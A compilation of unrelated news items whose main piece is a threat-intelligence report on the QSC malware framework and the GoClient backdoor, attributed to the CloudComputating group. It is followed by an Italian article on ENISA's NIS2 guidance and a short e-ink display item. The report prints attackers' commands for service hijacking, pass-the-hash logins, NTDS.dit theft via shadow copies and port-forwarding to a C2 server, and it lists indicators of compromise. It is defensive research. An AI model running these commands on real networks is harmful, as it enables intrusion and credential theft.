Will Virkkunen finally put to rest the network fees ideas to focus on what really matters for the Internet ecosystem and EU citizens? Information Labs’ research certainly points in that direction.

euractiv.com/section/digital/o…

Introduction

In 2021, we began to investigate an attack on the telecom industry in South Asia. During the investigation, we discovered QSC: a multi-plugin malware framework that loads and runs plugins (modules) in memory. The framework includes a Loader, a Core module, a Network module, a Command Shell module and a File Manager module. It is dropped either as a standalone executable or as a payload file along with a loader DLL. In this post, we describe each component of the framework as well as its recent activity including a deployment scenario, an additional backdoor, post-compromise activity and a link to the CloudComputating group.

QSC framework components

The Loader

The Loader implant is a service DLL with the internal name
loader.dll. It contains the string “E:\project\test\qt\bin\module\loader\x64\release\loader.pdb” as its PDB path. The Loader is configured to either read code from <systemdir>\drivers\msnet or read 0x100 (256) bytes from n_600s.sys, located in the same directory as the module, to get the file path containing code. If it reads the file path from n_600s.sys, it deletes the file afterwards. The Loader then reads and decompresses code from the provided file path. It reflectively injects the decompressed code into memory and calls the exported method plugin_working. The code injected by the Loader is the Core module, which is described below.

The Core and Network modules

The Core module has an internal name,
qscmdll.dll, and exports only one method, named plugin_working. It contains the string “E:\project\test\qt\bin\module\qscmdll\x64\release\qscmdll.pdb” as its PDB path. The Loader module passes the file path that contains the compressed Network module code as one of the parameters to the Core module.
The Core module reads the Network module (from the passed file path), decompresses it and injects it into memory. The Network module is a 64-bit DLL with the internal name
qscnetwork.dll. It contains the string “E:\project\test\qt\bin\module\qscnetwork\x64\release\qscnetwork.pdb” as its PDB path. The Network module exports the methods setConfig, checkTarget and getNetWork.
The Core module, after injecting the Network module into memory, initializes it by calling its exported methods in sequence:

• setConfig: copy configuration data from the Core module to the Network module.
• checkTarget: validate configuration fields by checking that the lengths of the fields are within their size limits.
• getNetWork: prepare and get the network object from the Network module for C2 communication. The Network module uses TLS implementation from the MbedTLS library.

In some of the cases, we found that the C2 in the configuration data contained an internal/proxy IP address, which suggested that the attackers were already aware of the target network topology. The configuration file contained the following settings:

• C2 IP address;
• Port;
• Sleep time;
• Internal/Proxy IP address;
• Proxy port;
• Proxy username;
• Proxy password.

The Core module supports the following C2 commands:

The File Manager module

The File Manager module has the internal name
qscBrowse.dll. It contains the string “E:\project\test\qt\bin\module\qscBrowse\x64\release\qscBrowse.pdb” as its PDB path, and exports the following methods.

• destroy: Free objects relating to network connection, file browsing and file transmission.
• destroyTransmit: Free network connection and file transmit operation related objects.
• startBrowse: Browse file system.
• startTransmit: Read/write file from/to system.
• stop: Close network connection. Stop the browsing and transmitting operations.
• stopTransmit: Close network connection and stop file transmitting operations.

The Core module, after reflectively injecting the File Manager module, calls its
startBrowse method. The startTransmit exported method of the File Manager module contains functionality to read/write files from/to the system. It is called when the module executes certain commands. The File Manager module supports following C2 commands:

Command Shell module

The Command Shell module has the internal name
qscShell.dll. It contains the string “E:\project\test\qt\bin\module\qscShell\x64\release\qscShell.pdb” as its PDB path, and exports the methods below.

• destroy: Free network connection and command shell related objects.
• startShell: Spawn cmd.exe as a command shell.
• stop: Close the network connection and terminate the command shell process.

The Core module, after reflectively injecting the Command Shell module, calls its
startShell method. The Command Shell module launches %windir%\system32\cmd.exe as a shell using the CreateProcess API, and data is written to and read from the shell using pipes. If the size of the received data exceeds 0xB (11) bytes, it checks if the received data starts with one of the command strings below. If the data does not start with one of these command strings, it is written to the command shell via a pipe.
If there is no more data to receive, the command shell is closed by issuing an
exit command.

QSC framework and GoClient backdoor deployment

When we first discovered the QSC framework in 2021, we had insufficient telemetry to find out how the framework was deployed or who the threat actor behind it was. We continued to monitor our telemetry for further signs of the QSC framework. In October 2023, we detected multiple instances of QSC files targeting an ISP in West Asia. Our investigation found that the target machines had been infected with the Quarian backdoor version 3 (aka Turian) since 2022, and the same attackers had used this access to deploy the QSC framework starting on October 10, 2023.

In addition to the QSC framework, the attackers also deployed a new backdoor written in Golang, which we have named “GoClient”. We saw the first deployment of this GoClient backdoor on October 17, 2023. After analyzing all the artifacts from this campaign, we assess, with medium confidence, that the CloudComputating threat actor is behind the deployment of the QSC framework and the GoClient backdoor.

QSC framework deployment

In October 2023, our telemetry showed that the Quarian backdoor was used to copy
c:\windows\system32\cmd.exe to c:\windows\task.exe and launch the command shell. The batch script is executed via the command shell.net stop swprv
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\Parameters /v
ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\swprr.dll /f
sc config swprv start= auto
ping -n 120 127.0.0.1
net start swprv
As can be seen above, a service is created to launch the QSC framework loader DLL
swprr.dll.
In the same month, our telemetry indicated that yet another batch script had been executed via the Quarian backdoor, with similar commands:
net stop rasauto
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\Parameters /v
ServiceDll /t REG_EXPAND_SZ /d $system32\rasautosvc.dll /f"
sc config rasauto start= auto
ping -n 120 127.0.0.1
net start rasauto
Just like the previous set of commands, the goal is to create a service to launch the QSC framework loader DLL
rasautosvc.dll.
About a month later, the attacker launched a command shell (
cmd.exe) using the QSC framework loader DLL file C:\Windows\System32\rasautosvc.dll, and dropped the following multiple QSC framework binaries in the specified order:

• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)
• C:\Windows\L2Schemas\update.exe (MD5 7f89a83cda93ed3ddaa4315ea4ebba45)
• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)
• C:\Windows\L2Schemas\update.exe (MD5 112820e9a87239c2e11ead80759bef85)
• C:\Windows\L2Schemas\update.exe (MD5 d99d97bb78929023d77d080da1b10f42)

Over the course of the next few months, more QSC framework binaries were dropped on the system via the same mechanism.

GoClient backdoor deployment

Also in October 2023, we found that the threat actor dropped and executed the GoClient backdoor file onto the affected system as
c:\programdata\usoshared\intop64.exe, again using the Quarian backdoor infection.

GoClient backdoor

The GoClient backdoor file communicates with the C2, hardcoded in the malware, via TLS. In order to initiate the communication, the malware prepares the challenge key by base64-encoding the hardcoded value of “177a7b1cf2441c7ebf626ebc7e807017” and sending it to the C2 server. If the challenge key is accepted, the C2 server sends a 16-byte value, which will be used as an RC4 key to encrypt/decrypt all subsequent messages between the malware and the server.

Next, the malware collects a list of system information (e.g. hostname, local IP, number of CPUs, etc.) from the victim’s machine in JSON format, encrypts it with an RC4 key, encodes it in base64 and sends it to the server.

The backdoor then receives a base64-encoded and RC4-encrypted, space-delimited list of command strings from the C2 server to execute on the victim’s machine.

The main C2 commands available are listed below:

Post-compromise activity using the GoClient backdoor

As mentioned above, the GoClient backdoor can be used to execute commands on a target system. This functionality was frequently used by the attackers. For example, they dropped the legitimate
rar.exe file in c:\inetpub\temp\ and uploaded a batch script, 1.bat, to the same location. Next, according to our telemetry, they executed 1.bat. The batch script contains the following commands:ping www.google.com -n 2
File Create("c:\inetpub\temp\a.dat");
systeminfo
ipconfig /all
netstat -ano -p tcp
tasklist /svc
net start
net view
arp -a
net localgroup administrators
reg query hkey_users
netsh firewall show config
net group /domain
net group "domain controllers" /domain
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings"
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\appmgmt\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rasauto\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv\parameters
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\swprv\parameters
reg add
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 0x1 /f
c:\inetpub\temp\rar.exe a c:\inetpub\temp\s.rar c:\inetpub\temp\*.dat
As can be seen from the list of executed commands, the attackers are primarily interested in collecting system information. Only at the end do they disable UAC remote restrictions and compress the harvested data with the previously uploaded
rar.exe utility.

Post-compromise activity using the QSC framework

The QSC framework was also leveraged to execute a series of commands to find the domain controller on the network, the file server and other machines as shown below. The domain controller was queried to view the list of users within the groups “domain controllers” and “domain computers”:
net group /domain
net group "domain controllers" /domain
ping dc01 -n 1"
ping dc02 -n 1"
net group "domain computers" /domain
ping 172.19.19.1 -n 1
ping 172.19.19.2 -n 1
tracert 172.19.19.2
netstat -ano
ping -a 172.17.104.102 -n 1
netstat -ano
findstr 172.19
ping -n -a fileserver
ping -n 1 -a fileserver
The attackers then dropped a tool to c:\Windows\L2Schemas\we.exe. We could not obtain a copy of
we.exe, but it was used to log in to the domain controller machine using the “pass the hash” technique and execute commands remotely:we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<user_name>@<domain_controller_ip> "whoami"

we.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<domain>/<user_name>@<domain_controller_ip> -dc-ip <domain_controller_ip> "whoami"

wm.exe -hashes aad3b435b51404eeaad3b435b51404ee:621a23dd771b1eb39c954cd6828aee6c
<domain>/<user_name>@<domain_controller_ip> "whoami" -with-output
Next, the actor tried to list the users under the group “domain admins”:
net group "domain admins" /domain
One of the domain admin accounts was used by the attacker to remotely execute various commands on the domain controller and other machines using WMIC. Commands were executed to obtain the network configuration, and a shadow copy of the C: drive and the NTDS database. All information thus collected was then stored at user\downloads\1.txt on the domain controller:
wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c ipconfig >>$user\downloads\1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "vssadmin create shadow /for=C: >> $user\downloads\1.txt"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\NTDS.dit
$user\downloads"

wmic /node:<domain_controller_ip> /user:<user_name> /password:<user_password> process call
create "vssadmin delete shadows /for=c: /quiet"

Lateral movement (deploying the QSC framework)

By using WMIC and the stolen domain admin credentials, the attackers were able to execute the QSC framework on other machines within the affected network. We found multiple instances during our investigation where the attackers used WMIC to remotely run either a QSC framework loader DLL or a QSC framework executable on a target machine.

We found that the QSC framework sample
update.exe (MD5 d99d97bb78929023d77d080da1b10f42) was configured to use a local IP address (pivot machine address 172.17.99[.]5:8080) as a C2 address. Similarly, the sample update.exe (MD5 7f89a83cda93ed3ddaa4315ea4ebba45) was configured to use an internal IP address (pivot machine address 172.17.99[.]5:80) but run on port 80. This might suggest either that these samples were deployed on machines without internet access or that the threat actor decided to channel all C2 communication through selected machines for other reasons.
Just after executing each instance of the above QSC framework samples on the remote machine, the attacker executed
%windir%\l2schemas\pf.exe on the pivot machine. While we could not obtain a copy of pf.exe, it seemed to perform port forwarding operations to forward any traffic coming to the pivot machine’s local IP address on port 8080/80 to the remote C2 server address 108.61.206[.]206 on port 8080.wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

tasklist

findstr pf.exe

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im net.exe /f"

net view \\<internal_ip>

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist >>
D:\fileserver\public\applications\drivers\apple\1.txt"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im update.exe /f >>
D:\fileserver\public\applications\drivers\apple\1.txt"

taskkill /im pf.exe /f

netsh firewall show state

netsh firewall show config

netsh firewall delete portopening tcp 8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:127.0.0.1:80 conn:108.61.206[.]206:8080"

tasklist

findstr pf.exe

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c taskkill /im update.exe /f >>
D:\fileserver\public\applications\drivers\apple\1.txt"

netstat -anb
netstat -anb -p tcp

netsh firewall show state

netstat -anb -p tcp
findstr 15001

netstat -anb -p tcp
findstr 8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c %temp%\update.exe"

%windir%\l2schemas\pf.exe tcp listen:127.0.0.1:8080 conn:108.61.206.206:8080

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c netstat -ano -p tcp
>>D:\fileserver\public\applications\drivers\apple\1.txt"

ping -n 1 108.61.206[.]206

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create
"system32\cmd.exe /c ping -n 1 40.113.110[.]67
>>D:\fileserver\public\applications\drivers\apple\1.txt"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist
>>D:\fileserver\public\applications\drivers\apple\1.txt"

ping -n 1 40.113.110[.]67

taskkill /im pf.exe /f

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c ping -n 1 <internal_ip_2>
>>D:\fileserver\public\applications\drivers\apple\1.txt"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

net use \\<internal_ip_2> <user_password> /u:<user_name>

tasklist

findstr update.exe

net use * /d /y

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "%windir%\l2schemas\update.exe"

wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c tasklist
>>D:\fileserver\public\applications\drivers\apple\1.txt"

"wmic /node:<internal_ip> /user:<user_name> /password:<user_password> process call
create "system32\cmd.exe /c netstat -ano -p tcp
>>D:\fileserver\public\applications\drivers\apple\1.txt"

%windir%\l2schemas\pf.exe tcp listen:0.0.0.0:8080 conn:108.61.206[.]206:8080

Attribution

We found multiple artifacts that helped us in attributing the QSC framework and the activity described above to the CloudComputating (aka BackdoorDiplomacy, Faking Dragon) group:

• On February 23, 2024, our product detected the presence of the file C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b). This DLL file is Quarian backdoor version 3 (aka Turian), compiled on Thursday, 28.04.2022 02:59:40 UTC. Quarian backdoor version 3 (aka Turian) was used to deploy the QSC framework and GoClient backdoor as described above.
• The Quarian backdoor sample C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) was configured to use the domain “proxy.oracleapps[.]org”, which was previously used by BackdoorDiplomacy as reported by Bitdefender in their report, “Cyber-Espionage in the Middle East: Investigating a New BackdoorDiplomacy Threat Actor Campaign“.
• The Quarian backdoor sample code is protected by VMProtect. After unpacking it, our KTAE (Kaspersky Threat Attribution Engine) attribution engine found a high degree of similarity with the CloudComputating group’s other malware.
  
  Kaspersky Threat Attribution Engine analysis
• We observed that the Quarian backdoor V3 sample C:\Windows\SysWOW64\appmgmt.dll (MD5 97b0a8e8d125e71d3d1dd8e241d70c5b) shell command created a copy of cmd.exe in the Windows directory with task.exe as the filename.
• In this campaign, we found C:\ProgramData\USOShared\ to be a common directory which contained the QSC framework, the GoClient backdoor, Quarian backdoor version 3 binaries and tools used in reconnaissance and post-compromise activity. This also helps in tracing all the implants and tools to the CloudComputating group. Some of the tools, such as TailorScan and StowProxy, are known to have been used by CloudComputating in past activity discovered in the Middle East.

  MD5	FilePath	Comment
  7a5a354b4ee40d694d7935f5 061fbd06	C:\ProgramData\USOShared \msvcen.exe	QSC framework
  5eba7f8a9323c2d9ceac9a0f 91fad02f	C:\ProgramData\USOShared \intop64.exe	GoClient backdoor
  0fe65bbf23b0c589ad462e84 7e9bfcaf	C:\ProgramData\USOShared \ts6.exe	TailorScan. Executed by Quarian backdoor
  50be5e66a94a25e61d61028d b6a41007	C:\ProgramData\USOShared \agt.exe	StowProxy. Executed by Quarian backdoor
  6a09bc6c19c4236c0bd8a019 53371a29	C:\ProgramData\USOShared \pdp.exe	ProcDump. Executed by Quarian backdoor
  efbdfeea6ececf08f24121d5 d444b751	C:\ProgramData\USOShared \to0.exe	Executed by Quarian backdoor. Could not get copy of the sample
  567b921d9757928a4bd137a0 8cfff06b	C:\ProgramData\USOShared \fn.exe	Executed by Quarian backdoor. Could not get copy of the sample

Conclusions

Our investigation has revealed a significant shift in the tactics of the CloudComputating group, marked by their adoption of the QSC framework alongside the previously identified Quarian backdoor and its variants. Our telemetry data indicates that the group has initiated limited yet targeted campaigns using QSC framework and focusing specifically on the telecommunication sector. Additionally, in response to detection of the Quarian backdoor, the group has begun deploying a protected version. The usage of the QSC framework suggests a strategic change in their toolkit, serving as a secondary means to maintain access within compromised networks. This evolution underscores the group’s adaptability and emphasizes the importance of continuous monitoring of its future activities.

QSC is a modular framework, of which only the initial loader remains on disk while the core and network modules are always in memory. Using a plugin-based architecture gives attackers the ability to control which plugin (module) to load in memory on demand depending on the target of interest.

IOCs

QSC framework Loader
d88ef85941ec6be99fd1e38ad5702bae
6da5b3bc89a6d83bc80b462c29f1715b
de4e76c9c5916570e75411aab7141f73

QSC framework executable
c687b0b8a8cc86638b53ca6d66ede382
d3749cef1a91a0a80a013d5a8b2c28d1
d99d97bb78929023d77d080da1b10f42
4dde0699dd21b16afa38be92efcfec61
112820e9a87239c2e11ead80759bef85
7a5a354b4ee40d694d7935f5061fbd06
0f0b8d2f648a4609cf2f6decd3407c8c
3dbc5b5e5f6713b9a6b838da25075187

GoClient backdoor
5eba7f8a9323c2d9ceac9a0f91fad02f
9da4b88a6b80db85c102ce8c841f0a5c
b581c0835934460719181afd9abf5a4e

Quarian backdoor version 3 (aka Turian)
97b0a8e8d125e71d3d1dd8e241d70c5b
a83a869df90acb5344a6e9b11e5f6e74

Batch scripts to deploy QSC framework DLL
76caef183ad0c869f3cb8b474f6a0fd7
3d62eee8d7fe5d6c86946a4e14db784f

Batch scripts dropped by GoClient backdoor to collect victim information
23351bc0b2be2ffb946de2bf7770df2e
23313406b64e1d0e8ec4a3c173ceda21

Tools used in post-compromise activity
b09cf30e7f0e326c9127047bdf518d05
eaff84466e086e9ca204e0548af3fbeb
ee4cb0891056c89b61b3ff3c8040a994
efbdfeea6ececf08f24121d5d444b751
567b921d9757928a4bd137a08cfff06b

File paths
C:\Windows\L2Schemas\update.exe
C:\Windows\L2Schemas\update64.exe
C:\ProgramData\USOShared\msvcen.exe
c:\ProgramData\package cache\{d401961d-3a20-3ac7-943b-6139d5bd490a\dwn.exe
C:\Windows\System32\audio.dll
C:\Windows\System32\rasautosvc.dll
C:\Windows\L2Schemas\audio.dll
C:\programdata\usoshared\intop64.exe
C:\ProgramData\usoprivate\updatestore\intop64.exe
C:\ProgramData\package cache\{010792ba-551a-3ac0-a7ef-0fab4156c382}v12.0.40664\csrs.exe
C:\Windows\SysWOW64\appmgmt.dll
C:\Windows\L2Schemas\w3wpt.exe
C:\Windows\L2Schemas\we.exe
C:\Windows\L2Schemas\pf.exe
C:\Windows\L2Schemas\pt.exe
C:\Windows\L2Schemas\onlytcp.exe
C:\ProgramData\USOShared\to0.exe
C:\ProgramData\USOShared\fn.exe
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\SysWOW64\drivers\c.bat
C:\Windows\Temp\c.bat
c:\inetpub\temp\1.bat
C:\Windows\L2Schemas\E.bat

PDB paths
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\pig\Documents\qs-domainless\bin\module\qscexec\x64\release\qscexe.pdb
C:\Users\abc\Desktop\vs\bin\module\loader\x64\release\loader.pdb

Domains and IPs
www.numupdate[.]com
www.pubsectors[.]com
www.delhiopera[.]com
asistechs[.]com
sanchaar[.]net
108.61.206[.]206
www.birdsvpn[.]com
newsinlevel[.]cc

securelist.com/cloudcomputatin…

L’Agenzia dell’Unione Europea per la Cybersecurity (ENISA) ha recentemente pubblicato una bozza di guida tecnica destinata alle organizzazioni europee per implementare le misure di sicurezza informatica previste dalla Direttiva NIS2. Questa guida, redatta in collaborazione con la Commissione Europea e il Gruppo di Cooperazione NIS, è stata rilasciata sotto forma di Regolamento di Esecuzione (UE) 2024/2690 del 17 ottobre 2024, ed è ora disponibile per la consultazione pubblica.

La guida è rivolta a una vasta gamma di entità, tra cui fornitori di servizi cloud, data center, gestori di registri di domini di primo livello, reti di distribuzione di contenuti, provider di marketplace e social network, e mira a sostenere le organizzazioni nell’applicazione dei requisiti tecnici e metodologici previsti dalla Direttiva NIS2. ENISA invita tutte le parti interessate a fornire il proprio feedback per affinare e perfezionare questa guida, rendendola uno strumento pratico, flessibile e in linea con le esigenze reali del settore.

Obiettivi e struttura della Guida Tecnica

La guida ENISA non solo mira a garantire l’adesione agli standard NIS2, ma intende anche offrire alle organizzazioni un supporto concreto per rafforzare la propria resilienza contro le minacce informatiche. Il documento fornisce una combinazione di raccomandazioni operative, esempi di conformità e suggerimenti tecnici, organizzati in quattro elementi chiave per ogni requisito:

• Indicazioni pratiche che guidano le organizzazioni nell’implementazione dei requisiti.
• Esempi di evidenze di conformità per documentare l’aderenza alle misure.
• Suggerimenti extra per andare oltre i requisiti minimi e rafforzare ulteriormente la sicurezza.
• Mappature agli standard: collegamenti con standard internazionali e nazionali come ISO/IEC 27001, NIST CSF, e altri, per favorire una perfetta integrazione con i framework di sicurezza già esistenti.

Essendo un documento in continua evoluzione, la guida sarà aggiornata periodicamente per adattarsi ai cambiamenti nelle normative internazionali e alle nuove minacce informatiche.

Informazioni sul Regolamento di Esecuzione (UE) 2024/2690

Il Regolamento di Esecuzione (UE) 2024/2690, adottato dalla Commissione Europea il 17 ottobre 2024, rappresenta un passo cruciale nell’attuazione della Direttiva (UE) 2022/2555, nota come Direttiva NIS2. Questo regolamento stabilisce requisiti tecnici e metodologici dettagliati per le misure di gestione dei rischi di cybersicurezza e specifica i criteri per determinare quando un incidente debba essere considerato significativo.

Il regolamento si applica a una vasta gamma di entità, tra cui fornitori di servizi DNS, registri dei nomi di dominio di primo livello, fornitori di servizi di cloud computing, data center, reti di distribuzione dei contenuti, mercati online, motori di ricerca, piattaforme di social network e fornitori di servizi fiduciari.

Principali requisiti tecnici e metodologici:

• Politiche di sicurezza: definizione di politiche chiare per la sicurezza dei sistemi di rete e informazione.
• Gestione del rischio: implementazione di processi strutturati per identificare, valutare e mitigare i rischi di cybersicurezza.
• Gestione degli incidenti: procedure di rilevamento, gestione e notifica degli incidenti di sicurezza.
• Continuità operativa: piani per garantire la continuità dei servizi anche in caso di incidenti significativi.
• Sicurezza della catena di fornitura: misure specifiche per gestire i rischi associati ai fornitori e alle terze parti.
• Igiene informatica e formazione: programmi di sensibilizzazione e formazione per il personale sulle pratiche di sicurezza.
• Cifratura e controllo degli accessi: tecniche avanzate di cifratura e autenticazione per proteggere i dati critici.

Il regolamento fornisce anche criteri specifici per determinare quando un incidente deve essere considerato significativo, basandosi su fattori come il numero di utenti interessati, la durata dell’incidente, la portata geografica, l’impatto sui servizi e le conseguenze economiche e sociali. Questi criteri aiutano le organizzazioni a valutare l’importanza di un incidente e a determinare le azioni appropriate da intraprendere, inclusa la notifica tempestiva alle autorità competenti.

L’adozione di questo regolamento impone alle organizzazioni di rivedere e aggiornare le proprie misure di sicurezza per conformarsi ai nuovi requisiti, inclusa l’adozione di policy e procedure aggiornate, la formazione del personale e l’implementazione di tecnologie di sicurezza avanzate. Per ulteriori dettagli, il regolamento è consultabile su EUR-Lex.

Le aree di intervento chiave

La guida ENISA copre tredici aree tematiche, considerate essenziali per la sicurezza informatica delle organizzazioni moderne. Di seguito, una panoramica dettagliata di ciascun pilastro:

1. Politica di sicurezza dei sistemi di rete e informazione: Ogni organizzazione deve disporre di una policy di sicurezza che delinei chiaramente l’approccio e gli obiettivi di cybersicurezza. La guida raccomanda che questa policy sia allineata con la strategia di business e approvata dalla dirigenza. Tra gli elementi da includere, vi sono l’allocazione delle risorse necessarie, la definizione dei ruoli e delle responsabilità e un piano di miglioramento continuo della sicurezza. È inoltre importante che la policy sia comunicata sia al personale interno che ai fornitori esterni.
2. Gestione del rischio: ENISA sottolinea la necessità per le organizzazioni di adottare un framework di gestione del rischio per identificare, valutare e mitigare le minacce. La guida suggerisce un piano di trattamento del rischio che documenti ogni rischio rilevato e le misure specifiche per affrontarlo, tenendo conto delle risorse aziendali e del contesto operativo. La revisione periodica del piano è fondamentale per rispondere ai cambiamenti nel panorama delle minacce.
3. Gestione degli incidenti: Una delle aree più critiche per la sicurezza, la gestione degli incidenti, richiede una policy strutturata che assegni ruoli specifici e definisca procedure chiare per l’identificazione, l’analisi, la risposta e il recupero da eventi di sicurezza. ENISA consiglia di stabilire una classificazione degli incidenti che aiuti a determinare rapidamente la gravità di ogni evento e a stabilire piani di escalation e comunicazione per una risposta coordinata e tempestiva.
4. Continuità operativa e gestione delle crisi: La guida sottolinea l’importanza di avere piani solidi per garantire la continuità operativa anche durante le crisi. ENISA incoraggia l’adozione di piani di business continuity e di disaster recovery, che comprendano strategie di backup, piani per il ripristino dei dati e per la gestione delle crisi. È essenziale che tali piani siano testati regolarmente e aggiornati alla luce delle lezioni apprese da incidenti precedenti.
5. Sicurezza della catena di fornitura: Con l’aumento dell’esternalizzazione e della dipendenza dai fornitori, il documento evidenzia l’importanza di avere una policy specifica per la gestione dei rischi della supply chain. La guida raccomanda di tenere traccia dei fornitori, valutare i rischi associati a ciascuno di essi e integrare requisiti di sicurezza nei contratti per limitare le vulnerabilità derivanti dalle terze parti.
6. Acquisizione e sviluppo sicuro dei sistemi: La sicurezza deve essere integrata fin dalla progettazione di nuovi sistemi IT. ENISA consiglia di seguire un ciclo di sviluppo sicuro, che includa pratiche di gestione della configurazione, testing di sicurezza, e applicazione delle patch. L’obiettivo è assicurare che ogni sistema implementato sia adeguatamente protetto contro le minacce emergenti.
7. Monitoraggio e controllo dell’efficacia delle misure di sicurezza: La guida raccomanda procedure per valutare regolarmente l’efficacia delle misure di sicurezza adottate. Questo può includere l’esecuzione di audit, test di penetrazione e altre attività di monitoraggio, con l’obiettivo di individuare tempestivamente eventuali lacune e migliorare le difese.
8. Cyber igiene e formazione del personale: La formazione continua è essenziale per ridurre i rischi derivanti da errori umani. ENISA incoraggia l’adozione di pratiche di cyber igiene di base e di programmi di sensibilizzazione per rendere i dipendenti consapevoli delle principali minacce informatiche e delle procedure di sicurezza.
9. Cifratura e controllo degli accessi: La protezione dei dati sensibili passa attraverso l’adozione di tecniche di cifratura e l’implementazione di meccanismi di autenticazione robusti. La guida raccomanda l’utilizzo di autenticazione multifattore e il controllo rigoroso degli accessi ai dati e ai sistemi, per limitare al minimo i rischi di accesso non autorizzato.
10. Gestione delle risorse e degli asset: ENISA raccomanda l’adozione di politiche per la classificazione, gestione e protezione degli asset aziendali, inclusi i dispositivi mobili e i supporti rimovibili. È essenziale tenere un inventario accurato e adottare misure per proteggere gli asset durante tutto il loro ciclo di vita.
11. Sicurezza fisica e ambientale: Oltre alla protezione digitale, la guida suggerisce misure di sicurezza fisica, come il controllo degli accessi alle strutture e la protezione contro minacce ambientali, per assicurare che i sistemi critici siano protetti anche da rischi non digitali.
12. Criptografia avanzata: L’uso di tecnologie crittografiche è fondamentale per la protezione dei dati sensibili e la guida offre raccomandazioni sulle migliori pratiche per implementare la crittografia sia per i dati in transito che per quelli in archiviazione.
13. Controllo degli accessi e gestione dei privilegi: La gestione degli accessi è cruciale per proteggere le risorse critiche. ENISA suggerisce di implementare controlli rigorosi sugli accessi e di monitorare attentamente l’uso degli account con privilegi elevati, adottando politiche chiare per garantire che solo le persone autorizzate possano accedere alle informazioni sensibili.

L’importanza della partecipazione pubblica

ENISA riconosce che il successo di questa guida dipende dal contributo delle organizzazioni e dei professionisti del settore, ed è per questo che invita alla partecipazione attiva di tutti gli stakeholder. La consultazione pubblica rappresenta un’opportunità per le organizzazioni di influenzare il contenuto della guida, garantendo che essa sia applicabile e adeguata alle esigenze operative del settore.

Le organizzazioni interessate possono consultare il documento sul sito dell’ENISA e presentare il loro feedback, contribuendo così alla costruzione di un cyberspazio europeo più sicuro e resiliente. Questa fase di feedback permetterà all’ENISA di affinare il documento finale, trasformandolo in uno strumento pratico e aggiornato per affrontare le sfide future della cybersicurezza

L'articolo ENISA avvia la consultazione pubblica: Guida tecnica per rafforzare le misure di cybersicurezza delle organizzazioni europee proviene da il blog della sicurezza informatica.

We’ve noticed that adding electronic paper displays to projects is getting easier. [NerdCave] picked up a 4.2-inch E-ink panel but found its documentation a bit lacking when it came to using the display under MicroPython. Eventually he worked it out, and was kind enough to share with the rest of the class.

These paper-like displays draw little power and can hold static images. There were examples from the vendor of how to draw some simple objects and text, but [NerdCave] wanted to do graphics. There was C code to do it, but it wasn’t clear how to port it to Python.

The key was to use the image2cpp website (we’ve used it before, but you can also use GIMP). Instead of C code, though, you get the raw bytes out and place them in your Python code. Once you know the workflow, it isn’t that hard, and this is an inexpensive way to add a different kind of display to your projects. The same image conversion will help you work with other displays, too.

